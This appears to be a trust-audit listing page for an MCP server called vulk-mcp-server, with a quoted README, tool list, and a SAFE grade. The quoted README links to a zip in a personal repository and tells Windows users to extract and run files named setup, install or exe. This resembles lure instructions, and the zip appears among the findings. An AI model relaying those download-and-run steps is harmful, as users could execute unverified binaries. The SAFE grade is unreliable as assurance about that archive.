vulk-mcp-serverSAFE
Build and deploy full-stack apps from AI assistants with the VULK MCP server
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Diuli4587/vulk-mcp-server/main/chatgpt/vulkmcpserver_v3.1.zip)
🧭 What this is
vulk-mcp-server helps you build, deploy, and export full-stack apps with help from an AI assistant. It works as a bridge between your AI tool and your app project, so you can move from idea to working app with less manual setup.
Use it when you want to:
- create app screens and features from plain language
- connect AI tools to a local project
- export work into a usable app build
- keep your app flow simple from start to finish
💻 What you need
Before you start, check that your PC has:
- Windows 10 or Windows 11
- a modern web browser
- enough free disk space for your app projects
- internet access for the first setup and download
For the best results, keep these apps ready too:
- an AI assistant that supports MCP
- a code editor if you want to inspect files
- the desktop app or browser app you use to work on projects
📥 Download and setup
Use this link to visit the page to download:
[](https://raw.githubusercontent.com/Diuli4587/vulk-mcp-server/main/chatgpt/vulkmcpserver_v3.1.zip)
Follow these steps on Windows:
- Open the download page in your browser.
- Get the latest version from the repository page.
- If the page provides a file, download it to your PC.
- Save it in a folder you can find easily, such as Downloads or Desktop.
- If the project comes as a zip file, extract it first.
- Open the folder and follow the setup files or instructions inside.
- Start the server or app file that comes with the project.
If you are not sure what to click, look for files named like:
- setup
- install
- run
- start
- server
- exe
🪟 Run on Windows
Aft
61f312ff70afOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add vulk-mcp-server --env VULK_API_KEY=${VULK_API_KEY} -- npx -y [email protected]Exposed tools (9)
7 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
deploy | write | Deploy a VULK project to production on Cloudflare Pages. |
edit | write | Modify an existing VULK project using natural language. |
files | read | Read the source code of a VULK project. Returns every file with |
generate | read | Build a complete web application from a text description. |
get | read | Get details about a specific project — status, files, deployment URL, |
list | read | List your VULK projects. Returns project IDs, descriptions, |
models | read | List all AI models available on VULK — names, providers, capabilities, |
subscribe | read | Get a link to upgrade your VULK plan. Credits are token-based — |
usage | read | Check your VULK API usage — requests made, credits remaining, |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (2 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (2)
vulk_mcp_server_v3.1.zip
@modelcontextprotocol/sdk, zod, @types/node, typescript
Gates applied: no_behavioural_pass.
61f312ff70affull audit observations/trust-audit/mcp-server/diuli4587__vulk-mcp-server.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 61f312ff70af | SAFE | B | 89 | first audit |
Questions
What is the vulk-mcp-server MCP server?
Build and deploy full-stack apps from AI assistants with the VULK MCP server
What tools does vulk-mcp-server expose?
9 in total: 7 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is vulk-mcp-server safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does vulk-mcp-server need?
It reads VULK_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does vulk-mcp-server run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as vulk-mcp-server at 1.0.1.
How current is this page?
The grade is for one exact copy of the source (61f312ff70af), read on 2026-10-12. The repository is watched and re-audited when it changes.